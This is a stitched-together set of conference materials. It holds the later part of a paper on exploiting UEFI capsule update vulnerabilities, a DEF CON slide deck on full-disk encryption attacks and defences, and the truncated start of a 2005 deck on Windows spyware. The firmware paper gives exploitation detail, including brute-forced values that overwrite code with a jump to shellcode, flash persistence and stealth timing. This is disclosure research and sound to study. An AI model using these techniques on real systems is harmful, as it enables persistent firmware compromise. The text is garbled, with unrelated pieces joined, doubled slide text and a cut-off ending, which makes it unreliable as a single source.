DestPtr can be arbitrarily adjusted. of LinearO↵set. LinearO↵set is incremented during every iteration of the loop and thus is only partially attacker controlled. The most pressing constraint is the non terminating nature of the corrupting loop. In order to escape the loop, it was necessary to overwrite the loop code itself. However, as the values being written are not com- pletely attacker controlled, it was a matter of brute force to determine what values of PtrBlockMapEntry’s Length member would lead to overwriting the loop code with coherent x86 instructions. Figure 10 shows an attempt that overwrites the top of the loop’s basic block with x86 instructions that are not advantageous to an attacker. Figure 11 shows a Length value discovered by our brute force script that leads to attacker advantageous instructions overwriting the loop code. 4.3 Exploitation From Windows 8 Two conditions are necessary for the exploitation of the vulnerabilities. • The ability to instantiate the capsule update process. • The ability to stage arbitrary data at certain physical addresses. If the attacker already has ring 0 code execution, these conditions are trivially met. The attacker can call the capsule update Runtime Service directly to meet the first condition. The second condition can be met via a number of kernel APIs that allow access to physical memory, such as MmAllocateContiguousMemory5, or via direct page table manipulation. The attack is also possible from a privileged user in ring 3. The introduction of the userland EFI variable API in Windows 8 inadvertently exposes the capsule update process to userland. This follows from the fact 5http://msdn.microsoft.com/en-us/library/windows/hardware/ff554460(v=vs.85).aspx 16 00000000 FFFFFFFF MemBase MemBase + MemSize 3C1BF000 100000 UEFI PEI Code PEI Stack Intended Coalescing Space DescriptorArray[0] “Poison  Capsule  Header  Block” Length=100 DataBlock=EFI_CAPSULE_HEADER Top of RAM 40000000 Relocated DescriptorArray DescriptorArray[1] “The  Huge  Block” Length=&(Relocated DescriptorArray[2]) – DestPtr_One DataBlock=DestPtr_One DescriptorArray[2] “Self  Overwriting  Descriptor  Block” Overwritten Length=ReturnAddress – DestPtr_2 DataBlock=3E200000 DescriptorArray[3] “Return  Address  Overwrite  Block” Length=4 DataBlock=3E100000 ReturnAddress – DestPtr_Two Shellcode Address 3E200000 3E100000 DescriptorArray[4] “Total  CapsuleSize  Padding  Block” Length=FFFFFFD4 - Sum(DescriptorArray[0..4]) DataBlock=Wherever DestPtr_3 = ReturnAddress Hacked Figure 8: DescriptorArray[3] overwrites the return address for the CopyMem function. Control is gained here. that capsule update is automatically initiated by the firmware if the “CapsuleUpdateData” EFI variable exists during a warm reset of the system. A privileged userland process also has several ways to surmount the second attack requirement. We do not assume the attacker needs their own kernel driver signing key. However, given our attack model assumes a privileged user, such a user is able to install any authenticode signed kernel drivers onto the system. There exist such drivers that will arbitrarily modify the content of physical memory on a users behalf6. The technique of using known-vulnerable, but signed, 3rd party drivers to perform exploits or actions on the attacker’s behalf, has been discussed since Windows Vista’s inception[19] and has been used in the wild by malware[17]. It is also possible to stage content at known physical memory locations by having a userland process allocate and write huge amounts of memory just before initiating the platform reset. In the Capsule Coalesce vulnerabilities, the attacker is able to set the instruction pointer to an arbitrary location. Thus the attacker can experimentally determine which physical memory is reliably controllable through the aforementioned allocate and write method, and then stage his payload at this discovered location. Exploitation of the capsule envelope vulnerability may not be possible from Windows 8 userland. The majority of consumer platforms we analyzed executed their DXE phase in 64 bit mode. Hence as described in section 4.2, it is necessary for the attacker to control a contiguous 2 GB part of the address space in order to induce the underlying integer overflow. We are not aware of any methods by which a userland attacker could reliably stage a physically contiguous 2GB region. Another complicating factor is the only semi-controlled nature of the corruption. The attacker is dependent on finding some values that will allow overwriting the non-terminating loop with attacker advantageous instructions. Typically these instructions will take the form of jumping or calling to a non-corrupted address. Exploitation of the envelope vulnerability from userland also dictates that a specific target physical address will need to be attainable from a Windows 8 userland process. This may not be possible depending on the target address, for instance if that physical 6http://rweverything.com/ 17 ProduceFVBProtocolOnBuffer Code ProduceFVBProtocolOnBuffer Stack FvbDev 00000000 FFFFFFFF FvbDev->LbaCache 3DE1A890 3DE1A910 3EB18E78 3EBE1E44 ??? loc_3EB21E44: 8B 4D FC mov ecx, [ebp+vBlockIndex] 8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] C1 E1 03 shl ecx, 3 89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i 8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] 8B 58 04 mov ebx, [eax+LBA_CACHE.Length] 89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; LbaCache[i].Length = AttackerValue 8B 55 F4 mov edx, [ebp+vLinearOffset] 03 50 04 add edx, [eax+4] FF 45 FC inc [ebp+vBlockIndex] FF 45 F8 inc [ebp+vBlockIndex2] 8B 4D F8 mov ecx, [ebp+vBlockIndex2] 89 55 F4 mov [ebp+vLinearOffset], edx 3B 08 cmp ecx, [eax] 72 D4 jb short loc_3EB21E44 LbaCache Pointer Overwritten Figure 9: The LbaCache pointer is corrupted, further complicating the overwrite. address is typically allocated to the kernel. 5 Leveraging The Attack Successful exploitation of these vulnerabilities allows the attacker to gain code execution in the early boot environment. In this environment, the SPI flash is still necessarily unlocked7. Thus the attacker is able to make SPI write cycles to the SPI flash, allowing him to permanently persist in the platform firmware. Note that this means the attackers injections would survive even an operating system reinstallation! In fact, as shown in [3] it would then be possible for the attacker to persist across firmware update attempts. As it is the platform firmware that is responsible for instantiating SMM, the attacker is able to arbitrarily inject code into SMM. Hence our attacker who began his life in ring 3, now has permanent control of SMM. 6 User Experience Exploiting the capsule update vulnerabilities requires rebooting the system. An attacker wishing to remain stealthy could schedule the attack to occur when the system is naturally rebooting for patches. After the reboot has occurred, and the attacker has pivoted control to a firmware injecting shellcode, another reboot of the system should immediately take place. Because the vulnerabilities take place before graphics have been initialized, the victim may only notice a longer than usual reboot time. 7The flash must remain unlocked until the flash update code has finished. 18 ProduceFVBProtocolOnBuffer Code ProduceFVBProtocolOnBuffer Stack FvbDev 00000000 FFFFFFFF FvbDev->LbaCache 3DE1A890 3DE1A910 3EB18E78 3EBE1E44 loc_3EB21E44: B8 8B D9 02 5E mov eax,5E02D98Bh 8B 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] C1 E1 03 shl ecx, 3 89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; LbaCache[i].Base = AttackerValue*i 8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] 8B 58 04 mov ebx, [eax+LBA_CACHE.Length] 89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E44 = AttackerValue 8B 55 F4 mov edx, [ebp+vLinearOffset] 03 50 04 add edx, [eax+4] FF 45 FC inc [ebp+vBlockIndex] FF 45 F8 inc [ebp+vBlockIndex2] 8B 4D F8 mov ecx, [ebp+vBlockIndex2] 89 55 F4 mov [ebp+vLinearOffset], edx 3B 08 cmp ecx, [eax] 72 D4 jb short loc_3EB21E44 We are now corrupting the loop code itself.. AttackerValue = 2D98BB8. Overwrites top of loop code on iteration=38E *(DWORD *)3EB21E44 = AttackerValue (B8 8B D9 02) [endianness] Figure 10: Loop code overwritten with useless instructions. 7 A↵ected Systems Determining which vendors were a↵ected was a non-trivial problem. Theoretically the UEFI open source reference implementation should be widely utilized by both OEMs and Independent BIOS Vendors (IBVs). Thus the capsule update vulnerabilities should be widespread. In practice there is large variance to the degree that OEMs/IBVs utilize the reference implementation. This problem is further described by [16], which points out that firmware implementations vary widely even within the same OEM. Due to this, it is necessary to consider the exploitability of systems on a case by case basis. Before we can begin with a case study, analysis techniques that help determine exploitability are introduced. 7.1 OEM Firmware Instrumentation As mentioned in Section 4, the lack of debugging capability for firmware level code is a significant hurdle. Without debugging capability, the vulnerability of a particular system must be determined using only static analysis. Given the complexity of UEFI and its tendency for indirect calling, this approach proved difficult. To work around this limitation, we used QEMU to instrument the OEM firmware using the following steps. • The OEM Firmware was dissected into its individual EFI executables using EFIPWN8. • The EFI executables responsible for Capsule Coalescing (PEI Phase) and Capsule Processing (DXE Phase) were identified using Guid matching and bindi↵9. - Capsule coalescing code was usually located in CapsulePEI. - Capsule processing code was usually located in DXECORE. 8https://github.com/G33KatWork/EFIPWN 9http://www.zynamics.com/bindiff.html 19 ProduceFVBProtocolOnBuffer Code ProduceFVBProtocolOnBuffer Stack FvbDev 00000000 FFFFFFFF FvbDev->LbaCache 3DE1A890 3DE1A910 3EB18E78 3EBE1E44 loc_3EB21E44: E9 14 BF 8C D9 jmp 183EDD5Dh 2D 5E 30 mov ebx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] C1 E1 03 shl ecx, 3 89 14 19 mov [ecx+ebx+LBA_CACHE.Base], edx ; *(DWORD *)3EB21E42 = AttackerValue*i 8B 56 30 mov edx, [esi+EFI_FW_VOL_BLOCK_DEVICE.LbaCache] 8B 58 04 mov ebx, [eax+LBA_CACHE.Length] 89 5C 0A 04 mov [edx+ecx+LBA_CACHE.Length], ebx ; *(DWORD *)3EB21E46 = AttackerValue 8B 55 F4 mov edx, [ebp+vLinearOffset] 03 50 04 add edx, [eax+4] FF 45 FC inc [ebp+vBlockIndex] FF 45 F8 inc [ebp+vBlockIndex2] 8B 4D F8 mov ecx, [ebp+vBlockIndex2] 89 55 F4 mov [ebp+vLinearOffset], edx 3B 08 cmp ecx, [eax] 72 D4 jb short loc_3EB21E44 Shellcode 183EDD5D AttackerValue = 2D98CBF. Overwrites top of loop code on iteration=BB *(DWORD *)3EB21E42 = (AttackerValue * 0xBB) % 0x100000000 = 14E9CF8F = 85 CF E9 14 [endianness] *(DWORD *)3EB21E46 = BF 8C D9 02 [endianness] Figure 11: Loop code overwritten with jump to shellcode. • The relevant binary modules were then inserted into the UEFI Open Virtual Machine Firmware[1]10 • Because OVMF does not have built in support for capsule update, the PlatformPeim module provided by OVMF was modified to call the capsule update interface exported by the OEM’s binary module. • QEMU was then used to boot the modified OVMF firmware. • Debugging of the OEM capsule binary modules was now possible via QEMU’s gdb stub. 7.2 HP EliteBook 2540p F23 Case Study As an example of determining the vulnerability of a specific OEM system, we consider the capsule coalescing routine of the HP EliteBook 2540p at BIOS (UEFI) revision F23. We discovered the capsule coalescing code to be very similar to the code described in Listing 4, with the following relevant di↵erences. • CapsuleSize + 8 is compared to MemorySize, as opposed to CapsuleSize + DescriptorSize. Hence Bug 1 is present in a di↵erent form. • An additional sanity check is made that for each entry in the descriptor array, descriptor.DataBlock + descriptor.Length does not integer overflow11. • EDK1 style descriptors are used, which include a 4 byte signature and a checksum.12 The DataBlock and Length fields are identical. 10OVMF is an open source virtual machine firmware included in the UEFI open source reference implementation. 11An important sanity check that the reference implementation lacked 12Neither of these 2 additional fields matters in practice 20 To demonstrate the vulnerability of the 2540p, we built a descriptor list that explicitly instantiated Bug 213 and Bug 414. Both of these bugs were present in the 2540p. Consider the matryoshka style descriptor array configuration outlined by Figure 12. In this configuration, the sum of the descriptor length values will overflow the 32 bit CapsuleSize integer, and hence pass the sanity comparison with MemorySize. Also note that although it is sanity checked that Descriptor[0].Length + Descriptor[0].DataBlock does not overflow, it is still possible that DestPtr + Descriptor[0].Length will overflow. This is in fact the case since we explicitly set Descriptor[0] to be low in memory and have a huge length size, and DestPtr is always high in the address space due to the coalescing function design. Hence we can abuse Bug 4 in the IsOverlapped check to proceed with the block copy operation of Descriptor[0]. This copy will corrupt the address space and allow the attacker to hijack control of the update operation.15 00000000 FFFFFFFF UEFI PEI Code PEI Stack Descriptor[0] “Matryoshka  Layer  1” Length=C0000000-&DescriptorArray[0].DataBlock DataBlock=2000000 Descriptor[1] “Matryoshka  Layer  2” Length=100-DescriptorArray[0].Length DataBlock=2000000 C0000000 Intended Coalescing Space 02000000 Descriptor[1] Descriptor[0] C0000000 - 100 Figure 12: The Matryoshka descriptor configuration. Sum of length values overflows 32 bit Integer. 7.3 General Observations Regarding A↵ected Systems We believe the vulnerabilities presented in this paper to be widespread among UEFI systems. However, it is difficult to determine the exact pervasiveness of the vulnerabilities due to the need to evaluate firmware implementations on a case by case basis. Some variant of the capsule coalescing vulnerability was present in the majority of systems we evaluated with static analysis. Interestingly, although the OEM coalescing code often demonstrated variations from the reference implementation code, the ProduceFVBProtocolOnBu↵er code appeared to be identically copied in all of the systems we looked at. Thus the code associated with bug 316 was present on all of the UEFI implementations we analyzed. However, as we did not have debug access, or even physical access17 to many systems we evaluated, it is impossible to produce a complete list of a↵ected systems without self-reporting by the vendors. For instance, although the vulnerable code may be present, it may be vestigial and not actually utilized during the update process. 8 Vendor Response Intel and CERT were notified of the envelope parsing vulnerability on November 22nd 2013, and of the coalescing vulnerabilities on December 4th 2014. Intel then reached out to IBVs and OEMs to attempt to 13Integer overflow in capsule length summation 14Integer overflow in IsOverlapped check 15In the case of the Elitebook 2540p, 4GB RAM is standard so there is no dead space in the address space as had to be overcome on the MinnowBoard. 16Integer overflow in LbaCache allocation 17We just downloaded the firmware images from the OEM websites. 21 discern if they were a↵ected. Information about which vendors are a↵ected and what systems should be patched is conveyed in CERT VU #552286. The disclosure of these vulnerabilities ultimately led to the formation of a UEFI Security Response Team. The vulnerabilities were patched in the UDK2014 reference implementation release[10]. 9 Recommendations The authors have several recommendations regarding locking down the UEFI capsule update interface and the Runtime Interface as a whole. • The UEFI Reference Implementation should be more thoroughly audited. The existence of easy to find integer overflows in security critical code is disturbing. • Capsule coalescing seems unnecessary on modern system’s with plentiful RAM as firmware capsules are usually under 16 MB. Instead the firmware capsule could assumed to be already contiguous in memory. This would eliminate much of the complicated and buggy code from the firmware update process. If memory constraints are a valid concern 18, the firmware update process could be instantiated from a boot loader. • The decision to expose the Variable portion of the Runtime Services to userland in Windows 8 should be more closely evaluated from a security standpoint. On the one hand, this decision minimizes the amount of code that needs to be loaded into the kernel, as now userland processes can perform important system configuration. On the other hand, userland access to these variables opens up additional attack surface that is accessible from ring 3. • An option for a physical presence test should be added to the firmware update process19. Although many organizations will opt out of this option so that they can remotely update firmware without user interaction, organizations with a greater security focus could opt in to this requirement. 10 Related Work Invisible Things Lab presented the first memory corruption attack against a BIOS update[20]. In their attack, an integer overflow in the rendering of a customizable bootup splash screen was exploited to gain control over the boot up process before the BIOS locks were set. This allowed the BIOS to be reflashed with arbitrary contents. The authors of this paper have also presented an attack against the coalescing operation of some Dell legacy BIOSes[15]. 11 Conclusion In this paper we have demonstrated that although UEFI provides additional security features, it has also provided additional attack surface that may be exploited. Furthermore, some of this attack surface is exposed to Windows 8 userland processes by the Windows 8 firmware environment variable API. Despite increased focus on protecting the integrity of the platform, vulnerabilities introduced by UEFI may allow an attacker to compromise the platform firmware and attain permanent control of SMM. Although the authors believe that UEFI is ultimately a step in the right direction towards securing the platform, more work needs to be done on evaluating the security of the features it provides. 12 Acknowledgments TODO 18Such as on an embedded system 19Toggled perhaps through the BIOS configuration screen 22 References [1] How to build OVMF. http://sourceforge.net/apps/mediawiki/tianocore/index.php?title= How_to_build_OVMF. Accessed: 06/13/2014. [2] MinnowBoard. http://www.minnowboard.org. Accessed: 06/13/2014. [3] J. Butterworth, C. Kallenberg, and X. Kovah. Bios chronomancy: Fixing the core root of trust for measurement. In BlackHat, Las Vegas, USA, 2013. [4] CERT. VU #758382. http://www.kb.cert.org/vuls/id/758382. Accessed: 06/13/2014. [5] Intel Corporation. Intel I/O Controller Hub 9 (ICH9) Family Datasheet. http://www.intel.com/ content/www/us/en/io/io-controller-hub-9-datasheet.html. Accessed: 10/01/2013. [6] Intel Corporation. Intel Platform Innovation Framework for EFI Driver Execution Environ- ment Core Interface Specification. http://www.intel.com/content/dam/doc/reference-guide/ efi-dxe-cis-v091.pdf. Accessed: 06/13/2014. [7] Intel Corporation. Intel Platform Innovation Framework for EFI Pre-EFI Initialization Core Interface Specification. http://www.intel.com/content/dam/doc/reference-guide/efi-pei-cis-v091.pdf. Accessed: 06/13/2014. [8] Intel Corporation. TianoCore. http://sourceforge.net/apps/mediawiki/tianocore/index.php? title=Welcome. Accessed: 06/13/2014. [9] Intel Corporation. UEFI Development Kit 2010. http://sourceforge.net/apps/mediawiki/ tianocore/index.php?title=UDK2010. Accessed: 06/13/2014. [10] Intel Corporation. UEFI Development Kit 2010. http://sourceforge.net/projects/edk2/files/ UDK2014_Releases/UDK2014/. Accessed: 06/13/2014. [11] Microsoft Corporation. MSDN SetFirmwareEnvironmentVariable. http://msdn.microsoft.com/ en-us/library/windows/hardware/ms724934(v=vs.85).aspx. Accessed: 06/13/2014. [12] j00ru. Defeating Windows Driver Signature Enforcement #1: default drivers. http://j00ru. vexillium.org/?p=1169. Accessed: 06/13/2014. [13] j00ru. Defeating Windows Driver Signature Enforcement #2: CSRSS and thread desktops. http: //j00ru.vexillium.org/?p=1393. Accessed: 06/13/2014. [14] j00ru. Defeating Windows Driver Signature Enforcement #3: The Ultimate Encounter. http://j00ru. vexillium.org/?p=1455. Accessed: 06/13/2014. [15] C. Kallenberg, J. Butterworth, X. Kovah, and C. Cornwell. Defeating Signed BIOS Enforcement. In EkoParty, Buenos Aires, 2013. [16] C. Kallenberg, C. Cornwell, X. Kovah, and J. Butterworth. Setup For Failure: More Ways to Defeat SecureBoot. In Hack In The Box Amsterdam, Amsterdam, 2014. [17] MN. Analysis of Uroburos, using WinDbg. https://blog.gdatasoftware.com/blog/article/ analysis-of-uroburos-using-windbg.html. Accessed: 06/16/2014. [18] Phoenix. Efi Runtime Services. http://wiki.phoenix.com/wiki/index.php/EFI_RUNTIME_SERVICES. Accessed: 06/13/2014. [19] J. Rutkowska and A. Tereshkin. IsGameOver() Anyone? In BlackHat, Las Vegas, USA, 2007. [20] R. Wojtczuk and A. Tereshkin. Attacking Intel BIOS. In BlackHat, Las Vegas, USA, 2009. 23
pdf
A Password is Not Enough Why disk encryption is broken and how we might fix it Daniel Selifonov DEF CON 21 2013-08-02 Five Questions ● Do you encrypt the drive in your computer? ● Using something like TrueCrypt, dmcrypt, loop-aes? ● Do you always cold shutdown when leaving your computer unattended? ● Have you ever left your computer unattended for more than a few hours? ● How about more than a few minutes? Why do we encrypt? ● Confidentiality and Integrity ● Secrecy, privacy, and the power to determine what happens to personal and business data ● Legal liability ● Access control in the face of physical access ● Trustworthiness of our endpoints Armor, Sieves, and Rubber Hoses ● Cryptography is not the weakest link – Random number generation – Block cipher modes of operation – Key derivation from passwords ● Many open source implementations ● The side channels: – Attack the apparatus – Attack the user http://en.wikipedia.org/wiki/File:Bush_mission_accomplished.jpg Mismatched Objectives ● Disk encryption threat models versus de facto use: – “[TrueCrypt does not] secure any data on a computer if an attacker has physical access to the computer before or while TrueCrypt is running on it.” http://www.truecrypt.org/docs/security-model From the Horse's Mouth ● TrueCrypt: We generally disregard "janitor" attacks since they inherently make the machine untrusted. We never consider the feasibility of hardware attacks; we simply have to assume the worst. After an attacker has "worked" with your hardware, you have to stop using it for sensitive data. It is impossible for TPM to prevent hardware attacks (for example, using hardware key loggers, which are readily available to average Joe users in computer shops, etc.) ● Joanna Rutkowska: And how can you determine that the attacker have or have not "worked" with your hardware? Do you carry your laptop with you all the time? ● TC: Given the scope of our product, how the user ensures physical security is not our problem. Anyway, to answer your question (as a side note), you could use e.g. a proper safety case with a proper lock (or, when you cannot have it with you, store it in a good strongbox). ● JR: If I could arrange for a proper lock or an impenetrable strongbox, then why in the world should I need encryption? http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html FDE Boot Process SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard Network Adapter PCI Bus LPC Bus TPM Keyboard GPU User Platform Controller Hub CPU+ Memory Controller RAM “hunter2” Three Attack Tiers Non-Invasive Screwdriver Soldering Iron Compromised Bootloader RAM CPU+ Memory Controller GPU Platform Controller Hub SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard LPC Bus Keyboard TPM User Network Adapter PCI Bus “hunter2” “hunter2” Compromised Operating System RAM CPU+ Memory Controller GPU Platform Controller Hub SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard LPC Bus Keyboard TPM User Network Adapter PCI Bus Key Logger/Shoulder Surfing RAM CPU+ Memory Controller GPU Platform Controller Hub SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard LPC Bus Keyboard TPM User Network Adapter PCI Bus “hunter2” “hunter2” Direct Memory Access RAM CPU+ Memory Controller GPU Platform Controller Hub SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard LPC Bus Keyboard TPM User Network Adapter PCI Bus DMA Cold Boot Attack RAM CPU+ Memory Controller GPU Platform Controller Hub SSD/ HDD Storage Controller USB Firewire ThunderBolt ExpressCard LPC Bus Keyboard TPM User Network Adapter PCI Bus What's in a CPU anyway? Execution Units L1 Instruction Cache L2 Cache L1 Data Cache Registers MMU Bus Interface x86-64 as “hardware crypto module” ● AES-NI (2010): hardware instructions for AES ● No known method of fixing cache lines ● Registers as key storage? – Machine State Registers (loop-amnesia) – SSE (AESSE) – DRx hardware debugging registers (TRESOR) ● Bonus: registers zeroed on ACPI S3 sleep AES in x86-64 debug registers ● DRx not used in typical OS/software operation ● 6 registers – DR0-DR3 = 64-bit breakpoint addresses – DR6-DR7 = behavior/control/signal flags – 256-bits of key storage ● Use SSE registers as scratch for key schedule expansion ● First implemented by Tilo Müller as TRESOR for Linux in 2011 http://www1.informatik.uni-erlangen.de/tresorfiles/tresor.pdf RAM still vulnerable ● Hostile DMA could alter OS to dump DRx ● Is there a way to restrict hostile DMA transfer? – IOMMU technology in the memory controller – Intel VT-d, AMD Vi ● Use IOMMU to protect “OS” ● TreVisor implements TRESOR on BitVisor – Transparent encrypting hypervisor for a single guest http://www1.cs.fau.de/filepool/projects/trevisor/trevisor.pdf Other sensitive data in RAM ● Active files are cached in RAM ● SSH/PGP keys, password manager DBs ● Encrypt everything you don't want to leak ● Self-encrypting drives are insufficient ● Can we encrypt RAM? Encrypting RAM ● CryptKeeper proof of concept by Peter Peterson – Divided RAM into small “clear” and larger “crypt” – Data moved using ordinary Linux paging facilities – 10x-50x slower in synthetic benchmarks – ~10% slower in “typical use” benchmark – “Crypt” key stored in “clear” – Author considered use of hardware crypto module Cryptkeeper: Improving Security With Encrypted RAM, 2010 http://ieeexplore.ieee.org/xpl/articleDetails.jsp? arnumber=5655081 Verifying Computer Integrity ● User must be able to determine if their computer is pristine or tampered before authenticating themselves ● Trusted Platform Module can be leveraged for measured boot – Data can be sealed to values of “platform configuration registers” – “Extend” PCRs with stage measurements ● Extend(x, payload) → PCR[x] = SHA1(PCR[x] + SHA1(payload)) – SRTM: ROM extends with BIOS, BIOS extends with bootloader, bootloader extends with kernel/initrd, etc. – DRTM: Under IOMMU protection load/execute a payload ● Seal secrets (cryptographic or otherwise) to enable verifying the computer by the user “Secure I/O” Low Pin Count Bus Trusted Platform Module RSA/SHA1 Crypto Units Random Number Generator Permanent/ Endorsement/ Storage Root RSA Keys User Non- Migratable RSA Keys User Migratable RSA Keys Tick Counter Monotonic Counters PCR Sealed Data General Purpose NVRAM EEPROM Platform Configuration Registers TPM Sealed Secrets ● Seeds for TOTP or HOTP tokens ● Recognizable and unique image/animation ● A part of the input to a key derivation function for the disk key ● By tying the disk key to the TPM, we can effectively dictate system boot policy TPM Facilitated System Boot Policy ● Cloning the disk is of limited benefit/disk only accessible in origin computer ● Monotonic counters can be compared between on-disk and TPM NVRAM values ● Policy parameters defined by the user, e.g.: – Limit number of incomplete boots – Password entry timeout – Limit number of incorrect passwords entered – Limit time between last shutdown and subsequent boots – Entry of duress code ● Policy violations could be enforced brutally – Issue a TPM owner clear on violation http://en.wikipedia.org/wiki/File:Burn-Bag.jpg TPM vs Hardware Attacks http://flylogic.net/chippics/st16601/st16601op_large.jpg “Phalanx” Toolset ● 1) Patch to Xen hypervisor – Implements TRESOR variant – DR2/DR3 still available to VMs – DR0/DR1 used as “master” AES-128 key – Xen dom0 can “load key” to DR0/DR1 – DR2/DR3 values encrypted with master key on guest context switch “Phalanx” Toolset ● 2) Patches to Linux kernel – Modified TRESOR to work on AES-128 in DR2/DR3 only – Modified zRAM using TRESOR to encrypt pages after compression ● 3) Userspace utilities – Initrd script skeleton – Built on tboot and Intel TXT ● Get the source code: https://github.com/thyth/phalanx Suggested Installation Basis ● Qubes OS (http://qubes-os.org/) – Pragmatic formulation of Xen, Linux, and custom tools to provide “security by isolation” model – Isolate information in separate domU guests in Xen – Desktop environment designed for seamless use of multiple VMs Hardware Requirements ● AES-NI ● Hardware Virtualization Extensions – Intel VT-x, AMD-V ● IOMMU – Intel VT-d, AMD-Vi ● TPM – Static/Dynamic Root for Trust Measurement Security Assumptions ● TPM: – No backdoor capable of dumping NVRAM – No backdoor capable of resetting monotonic counters – No effective “reset” attack on PCR state – Conducting hardware attack to tap TPM CPU and extract secrets should take no less than 12 hours Security Assumptions ● CPU, Memory Controller, IOMMU – Correctly configured IOMMU is effective protection against hostile DMA transfer – AES-NI has no backdoor – HVM generates correct VMEXIT events – No Intel backdoor in TXT ● Xen – No (more) hypervisor compromise vulnerabilities – Correct implementation of PV hypercalls Threat Model ● Realistic Threat Assessment: – No system is unbreakable, especially one that contains so many vulnerable parts – Safes are rated in number of minutes they can withstand an adversary ● Aim for hours, not minutes – Assumptions can be wrong (verify mine!) Expected Security ● Cold boot attack ineffective against FDE key, and encrypted user information in RAM ● Hardware based RAM acquisition ineffective ● Extracting TPM NVRAM will only re-enable “evil maid” attacks ● Tampering with the system sufficient to compromise security should be noticeable by the user (e.g. unseal fail, computer missing for hours) Attack Methods ● Key loggers, cameras, and shoulder surfing ● TPM attacks – NVRAM extraction – LPC bus intercept/reset hardware ● RAM manipulation – Surreptitious RAM: hardware intercept/manipulation – Transient pulse injection Legal Notes ● Not a lawyer, not legal advice – US 5th Amendment prevents compelling a password from a suspect in criminal cases – (In US) Automatic self destruct timer believed to be not illegal – TPM and strong cryptography illegal in some jurisdictions – Mandatory key disclosure in some countries Future Work & Improvements ● Facilities for greater control over encrypted paging – Some data is more important than other data – Modify OpenSSL to aggressively swap out keys? ● Easily installable variant of the system – Based on Qubes OS ● Upstream the patches? – Unclear if they would be accepted Conclusions ● The best security model in the world will go unused if it is unusable ● The security model must account for realistic use patterns ● Disk encryption is not enough: real protection comes from “full” system encryption ● System encryption is barely possible on commodity hardware ● But it's still better than the status quo Thank you! ● Go get the code: https://github.com/thyth/phalanx ● Web: http://thyth.com/ ● Email: [email protected] ● PGP: ID 0xdfc02d75 201a 7b59 a15b e5f0 bc37 08d3 bc7f 39b2 dfc0 2d75
pdf
1 The Evolution of The Evolution of Windows Spyware Techniques Windows Spyware Techniques Birdman Birdman [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] HIT2005 HIT2005 22 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Welcome ! Welcome ! Hello everyone, This is Hello everyone, This is Birdman Birdman.. WARNING WARNING -- Contents of this Contents of this presentation are for presentation are for **Educational Purposes Educational Purposes ONLY ONLY**.. It is strongly suggested It is strongly suggested that you do not use this that you do not use this knowledge for illegal knowledge for illegal purposes!........ purposes!........plz plz ☺ ☺ 2 33 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Outline Outline 1. 1. What is Spyware? What is Spyware? 2. 2. The Techniques In The Past The Techniques In The Past 3. 3. The Spyware of Nowadays The Spyware of Nowadays 4. 4. Stealth Tricks Stealth Tricks 5. 5. Anti Anti--Spyware Techniques Spyware Techniques 6. 6. Conclusion Conclusion 44 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 1. What is Spyware? 1. What is Spyware? Too Many Fake Jargons !? Too Many Fake Jargons !? In many news papers, magazines or reports, you In many news papers, magazines or reports, you must have heard about the following terms: must have heard about the following terms: Joke, Logic Bomb, Trojan, Backdoor, Worm, Dropper, Germ, Intended, Malware, Riskware, Spyware, Adware, Ghostware, Keylogger, Rookit, Harmful Program. But What But What’’s It !? s It !? Don Don’’t care about those dazed words !! Because it is very t care about those dazed words !! Because it is very difficult to make proper definitions, they are just difficult to make proper definitions, they are just advertisement words. advertisement words. 3 55 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Evil Level of Malware Evil Level of Malware Evil Virtuous Virtuous Normal Programs Normal Programs Virus Virus Trojan Trojan Backdoor Backdoor Rootkit Rootkit Worm Worm ADware ADware 66 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 My Taxonomy My Taxonomy of Malware of Malware Klaus Klaus Brunnstein Brunnstein He writes about the He writes about the difficulties of defining Malware difficulties of defining Malware. He . He regards the traditional definitions as self regards the traditional definitions as self--contradicting and contradicting and not exhaustive. Therefore he proposes a new way of not exhaustive. Therefore he proposes a new way of defining the term, which he calls defining the term, which he calls intentionally intentionally dysfunctional software dysfunctional software. His definition is meant to . His definition is meant to distinguish distinguish normal normal dysfunctionalities dysfunctionalities from from intentionally intentionally malevolent malevolent ones ones Spyware are not products, It are just functions! Spyware are not products, It are just functions! Rootkit Rootkit, Backdoor, , Backdoor, Adware Adware, , Keylogger Keylogger and Password and Password Dummper Dummper … … all of them are features of Malware all of them are features of Malware 4 77 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 Trojan Trojan Password Password Dummper Dummper Rootkit Rootkit Keylogger Keylogger Malware Malware Replicating Replicating Non Non--Replicating Replicating Worm Worm Spyware Spyware 88 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 2. The Techniques In The Past 2. The Techniques In The Past Famous Famous Malware Malware 5 99 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 The Evolution of Windows Spyware Techniques By Birdman, HIT2005 3. The 3. The Spyware Spyware of Nowadays of Nowadays Connect Connect--back Backdoor back 